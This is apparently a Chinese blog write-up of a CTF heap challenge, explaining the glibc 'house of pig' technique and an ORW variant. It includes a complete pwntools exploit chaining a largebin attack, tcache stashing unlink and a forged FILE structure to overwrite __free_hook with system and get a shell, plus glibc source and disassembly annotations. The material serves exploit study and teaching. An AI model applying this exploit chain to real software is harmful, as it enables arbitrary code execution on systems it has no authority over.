house of pig与house of pig orw

本文包含了house of pig这个经典的IO链的原理以及复现过程,以及基于house of pig的orw如何进行

house of pig

原理详解
题目详解
_IO_str_jumps中的_IO_str_overflow

核心

利用_IO_str_overflow的malloc,memcpy,free三连,设置FAKE_FILE的值,使得free_hook被覆盖为system函数,最后free就可以拿到shell,怎么设置看源代码的函数执行流程

例题

house of pig
主要是利用了largebin attack,tcache stashing unlink attack,伪造FILE结构等手法

  • 题目分析:
  1. 1. 这个题是个C++代码,对于笔者分析还是有不小难度,但是对于逆向来说,我们不要在乎那么多细节,抓住核心利用点,这才是关键。
  2. 2. 这个题用栈来存储chunk的相关数据,与之前总是用全局变量来存储有所不同,所以一开始看的我很晕,而且ida反汇编C++的东西又不好看,导致很多时间在纠结一些细节,但不要忘记堆就几个关键,**chunklist,sizelist,marklist**,这个题也不例外,抓住这点就够了
  3. 3. 这个题**在change role时候把原本的chunk相关数据copymmap\_addr,但是没有copy完全,这就是漏洞利用点**。可以很明显看到edit,show都是只看mark1,不看mark2,但是copy没有拷贝mark1中的数据,那么再次切换回来就会让mark1=0(因为mmap中的数据本身就是0),这就有了uaf
  4. 4. peppa(A) 0-19 calloc(0x90-0x430)
  5. mummy(B) 0-9 calloc(0x90-0x450)
  6. daddy(C) 0-4 calloc(0x90-0x440) if(add&&i==4) malloc(0xe8)
  7. 5. 这个题还有个点要注意,平时read都是可以控制整个mem区域,但这个题又做了一个限制。把控制的mem以每0x30为一块,A只可写每块的0-0x10,B只可写每块的0x10-0x20,C只可写每块的0x20-0x30。**虽然做了限制,但是也给人启发,A相当于控制fd,bk;B相当于控制fd\_nextsize,bk\_nextsize**
  • 攻击流程
  1. 1. tcache stashing unlink attack做准备,tcache5个,smallbin2个,大小都为0xa0
  2. 2. 利用largebin泄露libcbase,heapbase。泄露libcbase就是把largebin chunk free后进入unsorted binuaf很容易泄露libcbase。泄露heapbase就是再calloc一个比它还大的chunk让它进入largebin,覆盖它的fd,bkshow就是它的fd\_nextsizedbg一看一做差就可以了
  3. 3. largebin attackfree\_hook-0x8处写入一个堆地址,这是为了绕过tcache stashing unlink attack的检查。具体做法是先让一个size大的chunk进入largebin,edit它的bk\_nextsizefree\_hook-0x28,再让一个size比它小的chunk先进入unsorted bin再链入largebin即可
  4. 4. 再一次largebin attack\_IO\_list\_all写入一个堆地址,**要记住这个堆地址,因为我们还要将它申请出来伪造FILE结构**,方法同上
  5. 5. tcache stashing unlink attackfree\_hook-0x10链入0xa0chunk大小的tcache中。让修改smallbin的第一个chunkbk指针修改为free\_hook-0x10-0x10,触发tcache stashing unlink attack。注意这里的细节,free\_hook-0x8(也就是target+0x8)在之前被修改为了一个堆地址,所以可写,不会引发异常
  6. 6. 在触发tcache stashing unlink attack时,add的时候i要刚好为4,此时刚好malloc(0xe8)。**在此题中\_IO\_list\_all写入一个堆地址是一个FAKE FILE,但是它的编写受限制,因此将其的\*chain指向一个堆地址,再malloc(0xe8)刚好将这个堆地址申请出来,这里才是我们存放\_IO\_str\_overflowvtableFAKE FILE!!!**
  7. 7. change\_role中输入空字符触发len检查调用exit函数,进而执行\_IO\_str\_overflow函数
  8. 8. exit函数会执行\_IO\_flush\_all\_lockp函数来遍历 FILE结构体,而其中就有\_IO\_str\_overflow函数,因此要满足(fp->\_mode <= 0 &amp;&amp; fp->\_IO\_write\_ptr > fp->\_IO\_write\_base)才能让那个if语句执行到\_IO\_str\_overflow
  9. 9. \_IO\_str\_overflow函数中malloc,memcpy,free三连(具体细节看源码)old\_blen = \_IO\_blen (fp);new\_size = 2 \* old\_blen + 0x64; malloc (new\_size);**注意这个malloc正是想要malloc0xa0 chunk大小的tcache头部存的free\_hook-0x10**,因此IO\_buf\_endIO\_buf\_base,要精心设计。memcpy (new\_buf, old\_buf, old\_blen);free (old\_buf);**因此IO\_buf\_base要刚好是FAKE FILE中/bin/sh\\x00的地址(是个堆地址)**
  10. 10. 在写exp的途中要注意修改smallbinbk指针,largebin中的bk\_nextsize指针时如果破坏了要注意修复。同时还要注意各个bin当前的状态不要和预期的状态不一样。也要注意算FILE的偏移要不要0x10这个问题
  1. from pwn import *
  2. from pwnlib.util.packing import p64
  3. from pwnlib.util.packing import u64
  4. context(os='linux', arch='amd64', log_level='debug')
  5. file = "/home/zp9080/PWN/pig"
  6. elf=ELF(file)
  7. libc =elf.libc
  8. io = process(file)
  9. def dbg():
  10. gdb.attach(io,'b *$rebase(0xD80)')
  11. rl = lambda a=False : io.recvline(a)
  12. ru = lambda a,b=True : io.recvuntil(a,b)
  13. rn = lambda x : io.recvn(x)
  14. sn = lambda x : io.send(x)
  15. sl = lambda x : io.sendline(x)
  16. sa = lambda a,b : io.sendafter(a,b)
  17. sla = lambda a,b : io.sendlineafter(a,b)
  18. irt = lambda : io.interactive()
  19. dbg = lambda text=None : gdb.attach(io, text)
  20. lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
  21. uu64 = lambda data : u64(data.ljust(8, b'\x00'))
  22. def dbg():
  23. gdb.attach(io, 'b *$rebase(0x3761)')
  24. def Menu(cmd):
  25. sla('Choice: ', str(cmd))
  26. def Add(size, content):
  27. Menu(1)
  28. sla('size: ', str(size))
  29. sla('message: ', content)
  30. def Show(idx):
  31. Menu(2)
  32. sla('index: ', str(idx))
  33. def Edit(idx, content):
  34. Menu(3)
  35. sla('index: ', str(idx))
  36. sa('message: ', content)
  37. def Del(idx):
  38. Menu(4)
  39. sla('index: ', str(idx))
  40. def Change(user):
  41. Menu(5)
  42. if user == 1:
  43. sla('user:\n', 'A\x01\x95\xc9\x1c')
  44. elif user == 2:
  45. sla('user:\n', 'B\x01\x87\xc3\x19')
  46. elif user == 3:
  47. sla('user:\n', 'C\x01\xf7\x3c\x32')
  48. #----- prepare tcache_stashing_unlink_attack
  49. #calloc申请5个0xa0堆块,并放入 tcache
  50. Change(2)
  51. for x in range(5):
  52. Add(0x90, 'B'*0x28) # B0~B4
  53. Del(x) #B0~B4
  54. #role1 calloc(0x150),用于切割出0xa0的small bin chunk
  55. Change(1)
  56. Add(0x150, 'A'*0x68) # A0
  57. #填充0x160 tcache,使得 A0进入 unsortedbin
  58. for x in range(7):
  59. Add(0x150, 'A'*0x68) # A1~A7
  60. Del(1+x)
  61. #A0放入 unsortedbin
  62. Del(0)
  63. #切割 A0,剩余0xa0放入smallbin
  64. Change(2)
  65. Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0
  66. #同样道理 利用0x190切割 0xa0放入 smallbin
  67. Change(1)
  68. Add(0x180, 'A'*0x78) # A8
  69. for x in range(7):
  70. Add(0x180, 'A'*0x78) # A9~A15
  71. Del(9+x)
  72. Del(8)
  73. Change(2)
  74. Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0
  75. #----- leak libc_base and heap_base
  76. #role1 calloc(0x430),用于放入largbin,泄漏地址
  77. Change(1)
  78. Add(0x430, 'A'*0x158) # A16
  79. #间隔top chunk
  80. Change(2)
  81. Add(0xf0, 'B'*0x48) # B7
  82. #释放A16进入unsorted bin
  83. Change(1)
  84. Del(16)
  85. #使 A16 进入 largebin
  86. Change(2)
  87. Add(0x440, 'B'*0x158) # B8
  88. #利用 UAF先泄漏 libc地址
  89. Change(1)
  90. Show(16)
  91. ru('message is: ')
  92. libc_base = uu64(rl()) - 0x1ebfe0
  93. lg('libc_base')
  94. #利用UAF泄漏heapbase地址
  95. Edit(16, 'A'*0xf+'\n')
  96. Show(16)
  97. ru('message is: '+'A'*0xf+'\n')
  98. heap_base = uu64(rl()) - 0x13940
  99. lg('heap_base')
  100. print("---> 1 largbin attack to change __free_hook-8")
  101. #----- first largebin_attack
  102. # recover,fd,bk不对的话在largebin中找不到
  103. Edit(16, 2*p64(libc_base+0x1ebfe0) + b'\n')
  104. #A17直接largebin中得到(A16)
  105. Add(0x430, 'A'*0x158) # A17
  106. Add(0x430, 'A'*0x158) # A18
  107. Add(0x430, 'A'*0x158) # A19
  108. Change(2)
  109. #释放 0x450堆块 chunk8
  110. Del(8)
  111. #使得 chunk8 进入 largebin
  112. Add(0x450, 'B'*0x168) # B9
  113. #释放0x440堆块进入 unsortedbin,其size 小于 chunk8
  114. Change(1)
  115. Del(17)
  116. #修改chunk8->bk_nextsize = free_hook-0x28
  117. Change(2)
  118. free_hook = libc_base + libc.sym['__free_hook']
  119. Edit(8, p64(0) + p64(free_hook-0x28) + b'\n')
  120. #触发largebin attack
  121. Change(3)
  122. #注意B8的大小是0x450,这里不能add(0x440)
  123. #只要触发了unsortedbin循环就可以,unsorted bin中的large chunk会先被放入largebin再拿出来切割
  124. Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8
  125. #修复chunk8
  126. Change(2)
  127. # recover B8的fd-nextsize,bk-nextsize指向自己
  128. #此时largebin中只有B8,配合下一次largebin attack
  129. Edit(8, 2*p64(heap_base+0x13e80) + b'\n')
  130. print("---> 2 largebin attack to change _IO_list_all")
  131. #----- second largebin_attack
  132. #将unsortedbin 清空
  133. Change(3)
  134. Add(0x380, 'C'*0x118) # C1
  135. #释放A19 0x440到unsortedbin中
  136. Change(1)
  137. Del(19)
  138. #修改chunk8->bk_nextsize = io_list_all-0x20
  139. Change(2)
  140. IO_list_all = libc_base + libc.sym['_IO_list_all']
  141. Edit(8, p64(0) + p64(IO_list_all-0x20) + b'\n')
  142. #触发largebin attack
  143. Change(3)
  144. Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all
  145. #修复largebin
  146. Change(2)
  147. Edit(8, 2*p64(heap_base+0x13e80) + b'\n') # recover
  148. print("==== tcache stashing unlink attack and FILE attack")
  149. #----- tcache_stashing_unlink_attack and FILE attack
  150. #修改smallbin 中的第一个chunk的 bk指针为 free_hook-0x20,smallbin: chunk8->chunk7
  151. #target-0x10=free_hook-0x20,target=free_hook-0x10,free_hook-0x8可写,因为之前将其写入了一个堆地址
  152. Change(1)
  153. #这个地方要留意,A8为calloc(0x180),又被分割,calloc(0xe0),而B每次只能写入0x10-0x20的位置
  154. #0x10 0x40 0x70 0xa0 0xd0 0x100 0x190=0x10+0xe0+0xa0,所以这个payload刚好可以实现修改smallbin 中的第一个chunk的 bk指针,注意fd不要改变
  155. payload = b'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
  156. Edit(8, payload + b'\n')
  157. #申请largebin中的chunk8,用来伪造一个FILE结构体,并将FILE结构体的chain指针指向另一个伪造的FILE结构体堆块,这里不直接用它伪造是因为该堆块限制写,因此让
  158. #这个地方的FILE结构体的chain指针指向当前unsorted bin中残留的chunk头部
  159. Change(3)
  160. #刚好是FAKE FILE的0x68处,也就是*chain写入这个堆地址
  161. payload = b'\x00'*0x18 + p64(heap_base+0x147c0)
  162. payload = payload.ljust(0x158, b'\x00')
  163. print("change fake FILE chain")
  164. #unsorted bin中的heap_base+0x147c0进入了small bin
  165. #largebin中的chunk被取出,同时这也是_IO_list_all[0]存的堆地址
  166. Add(0x440, payload) # C3 change fake FILE _chain
  167. #触发tcache stashing unlink
  168. print("triger tcache_stashing_unlink")
  169. # dbg()
  170. #从smallbin取出一个chunk同时触发tcache_stashing_unlink_attack
  171. Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook-0x8处的chunk into tcache
  172. IO_str_vtable = libc_base + 0x1ED560
  173. system_addr = libc_base + libc.sym['system']
  174. #因为返回的是mem位置,也就heap_base+0x147c0+0x10,所以只有2个p64(0)
  175. fake_IO_FILE = 2*p64(0)
  176. fake_IO_FILE += p64(1) #_IO_write_base = 1
  177. fake_IO_FILE += p64(0x1000) # _IO_write_ptr = 0x1000
  178. fake_IO_FILE += p64(0) #_IO_write_end=0
  179. #_IO_write_ptr -_IO_write_base>(size_t)(IO_buf_end-IO_buf_base)+flush_only 同时
  180. fake_IO_FILE += p64(heap_base+0x148a0) #IO_buf_base,heap_base+0x147c0+0xd0
  181. fake_IO_FILE += p64(heap_base+0x148b8) #IO_buf_end, heap_base+0x147c0+0xd0+0x18
  182. fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
  183. fake_IO_FILE += p64(0) #change _mode = 0
  184. fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
  185. fake_IO_FILE += p64(IO_str_vtable) #change vtable
  186. payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(system_addr)
  187. print('IO attack')
  188. sa('Gift:', payload)
  189. #触发exit(-1)
  190. Menu(5)
  191. sla('user:\n', '')
  192. irt()

源码

  • 至于我们如何让程序执行_IO_str_overflow这个函数,很简单。这个函数的地址是保存在_IO_str_jumps这个结构体中的,在一般程序正常运行的情况下,_IO_list_all保存有指向标准输入输出的FILE结构体,其中的vtable指向的应该是_IO_file_jumps,而_IO_file_jumps与_IO_str_jumps是一个结构体类型的实例,二者的不同之处是,_IO_file_jumps用于一个FILE结构体在出现异常时调用的函数列表,我们在假FILE结构体中将vtable写成_IO_str_jumps,实际上就是将程序的执行流从_IO_file_overflow改成_IO_str_overflow。这也是house of pig利用的思想精髓所在

注意要找的是__io_vtables而不是call _IO_str_overflow,否则与FILE结构体的_IO_jump_t的类型不匹配

  1. pwndbg> p &amp;_IO_str_jumps
  2. $6 = (const _IO_jump_t *) 0x7ffff7dd2560 <_IO_str_jumps>

image.png

image.png

_IO_str_overflow

  1. //在攻击中fp->_flags==0,注意函数的流程
  2. #define EOF (-1)
  3. #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
  4. int _IO_str_overflow (FILE *fp, int c)
  5. {
  6. int flush_only = c == EOF;
  7. size_t pos;
  8. if (fp->_flags &amp; _IO_NO_WRITES)
  9. return flush_only ? 0 : EOF;
  10. if ((fp->_flags &amp; _IO_TIED_PUT_GET) &amp;&amp; !(fp->_flags &amp; _IO_CURRENTLY_PUTTING))
  11. {
  12. fp->_flags |= _IO_CURRENTLY_PUTTING;
  13. fp->_IO_write_ptr = fp->_IO_read_ptr;
  14. fp->_IO_read_ptr = fp->_IO_read_end;
  15. }
  16. pos = fp->_IO_write_ptr - fp->_IO_write_base;
  17. if (pos >= (size_t) (_IO_blen (fp) + flush_only))
  18. {
  19. if (fp->_flags &amp; _IO_USER_BUF)
  20. return EOF;
  21. else
  22. {
  23. //这里是主要攻击函数,malloc,memcpy,free三连
  24. char *new_buf;
  25. char *old_buf = fp->_IO_buf_base;
  26. size_t old_blen = _IO_blen (fp);
  27. size_t new_size = 2 * old_blen + 0x64;
  28. if (new_size < old_blen)
  29. return EOF;
  30. //注意malloc特有的对齐
  31. new_buf = malloc (new_size);
  32. if (new_buf == NULL)
  33. {
  34. return EOF;
  35. }
  36. if (old_buf)
  37. {
  38. //把_IO_buf_base到_IO_buf_end中的数据复制到new_buf中,此时可以把system函数复制到free_hook中,这也是为什么tcache中存的是free_hook-0x10
  39. memcpy (new_buf, old_buf, old_blen);
  40. //_IO_buf_base中存储的是/bin/sh\x00
  41. free (old_buf);
  42. fp->_IO_buf_base = NULL;
  43. }
  44. memset (new_buf + old_blen, '\0', new_size - old_blen);
  45. _IO_setb (fp, new_buf, new_buf + new_size, 1);
  46. fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
  47. fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
  48. fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
  49. fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
  50. fp->_IO_write_base = new_buf;
  51. fp->_IO_write_end = fp->_IO_buf_end;
  52. }
  53. }
  54. if (!flush_only)
  55. *fp->_IO_write_ptr++ = (unsigned char) c;
  56. if (fp->_IO_write_ptr > fp->_IO_read_end)
  57. fp->_IO_read_end = fp->_IO_write_ptr;
  58. return c;
  59. }

house of pig orw

参考博客

当题目中限制了system函数的调用,可以使用此方法进行orw,但是这个方法的前提还是有hook可打

特别之处

  • IO_str_overflow中一个特别之处
    mov rdx,QWORD PTR [rdi+0x28]这条汇编指令,此时的rdi恰好指向我们伪造的IO_FILE_plus的头部,使得可以进行rdx的设置,进而可以使用setcontent函数进行srop
  1. 0x7ffff7e6eb20 <__GI__IO_str_overflow>: repz nop edx
  2. 0x7ffff7e6eb24 <__GI__IO_str_overflow+4>: push r15
  3. 0x7ffff7e6eb26 <__GI__IO_str_overflow+6>: push r14
  4. 0x7ffff7e6eb28 <__GI__IO_str_overflow+8>: push r13
  5. 0x7ffff7e6eb2a <__GI__IO_str_overflow+10>: push r12
  6. 0x7ffff7e6eb2c <__GI__IO_str_overflow+12>: push rbp
  7. 0x7ffff7e6eb2d <__GI__IO_str_overflow+13>: mov ebp,esi
  8. 0x7ffff7e6eb2f <__GI__IO_str_overflow+15>: push rbx
  9. 0x7ffff7e6eb30 <__GI__IO_str_overflow+16>: sub rsp,0x28
  10. 0x7ffff7e6eb34 <__GI__IO_str_overflow+20>: mov eax,DWORD PTR [rdi]
  11. 0x7ffff7e6eb36 <__GI__IO_str_overflow+22>: test al,0x8
  12. 0x7ffff7e6eb38 <__GI__IO_str_overflow+24>: jne 0x7ffff7e6eca0 <__GI__IO_str_overflow+384>
  13. 0x7ffff7e6eb3e <__GI__IO_str_overflow+30>: mov edx,eax
  14. 0x7ffff7e6eb40 <__GI__IO_str_overflow+32>: mov rbx,rdi
  15. 0x7ffff7e6eb43 <__GI__IO_str_overflow+35>: and edx,0xc00
  16. 0x7ffff7e6eb49 <__GI__IO_str_overflow+41>: cmp edx,0x400
  17. 0x7ffff7e6eb4f <__GI__IO_str_overflow+47>: je 0x7ffff7e6ec80 <__GI__IO_str_overflow+352>
  18. 0x7ffff7e6eb55 <__GI__IO_str_overflow+53>: mov rdx,QWORD PTR [rdi+0x28] <----
  19. 0x7ffff7e6eb59 <__GI__IO_str_overflow+57>: mov r14,QWORD PTR [rbx+0x38]
  20. 0x7ffff7e6eb5d <__GI__IO_str_overflow+61>: mov r12,QWORD PTR [rbx+0x40]
  21. 0x7ffff7e6eb61 <__GI__IO_str_overflow+65>: xor ecx,ecx
  22. 0x7ffff7e6eb63 <__GI__IO_str_overflow+67>: mov rsi,rdx
  23. 0x7ffff7e6eb66 <__GI__IO_str_overflow+70>: sub r12,r14
  24. 0x7ffff7e6eb69 <__GI__IO_str_overflow+73>: cmp ebp,0xffffffff
  25. 0x7ffff7e6eb6c <__GI__IO_str_overflow+76>: sete cl
  26. 0x7ffff7e6eb6f <__GI__IO_str_overflow+79>: sub rsi,QWORD PTR [rbx+0x20]
  27. 0x7ffff7e6eb73 <__GI__IO_str_overflow+83>: add rcx,r12
  28. 0x7ffff7e6eb76 <__GI__IO_str_overflow+86>: cmp rcx,rsi
  29. 0x7ffff7e6eb79 <__GI__IO_str_overflow+89>: ja 0x7ffff7e6ec4a <__GI__IO_str_overflow+298>
  30. 0x7ffff7e6eb7f <__GI__IO_str_overflow+95>: test al,0x1
  31. 0x7ffff7e6eb81 <__GI__IO_str_overflow+97>: jne 0x7ffff7e6ecc0 <__GI__IO_str_overflow+416>
  32. 0x7ffff7e6eb87 <__GI__IO_str_overflow+103>: lea r15,[r12+r12*1+0x64]

具体做法

  1. 使用largebin attrack劫持stderr->_chain字段为一个堆地址ck0
  2. 使用largebin attrack劫持global_max_fast或者tls中管理tcache的部分为堆地址ck1,这是为了malloc从tcache中取得malloc_hook,以及随便取一个chunk触发malloc hook
  3. edit(ck1)使得0xa0 对应的tcache中为malloc_hook,0xb0对应的chunk为任意一个堆地址
  4. mov rdx,QWORD PTR [rdi+0x28],rdi=FAKE FILE头部(注意FAKE FILE前0x10无法管理,但是不影响)。edit(ck0)设置FAKE FILE+0x28的值为fake frame的底部;合理地设置fp->_IO_write_ptr,fp->_IO_write_base,fp->_IO_buf_base=一个堆地址(该堆地址的内容应该是setcontent+61),fp->_IO_buf_end;chain=ck2;vtable=IO_str_overflow;这样IO_str_overflow时malloc hook被设置为setcontent+61,rdx=fake frame底部,同时遍历下一个FILE ck2
  5. edit(ck2)使得其执行IO_str_overflow时可以malloc出一个0xb0的chunk
  6. edit(ck3)为一个orw
  7. 执行exit(0),第一个IO_str_overflow可以让malloc hook被设置为setcontent+61,rdx=fake frame底部,第二个IO_str_overflow调用了malloc函数执行srop,让rsp=ck3的mem,rip=ret,srop结束后执行orw
  • 发表于 2024-11-19 10:00:01
  • 阅读 ( 2317 )
  • 分类:二进制

0 条评论

_ZER0_
_ZER0_

15 篇文章

站长统计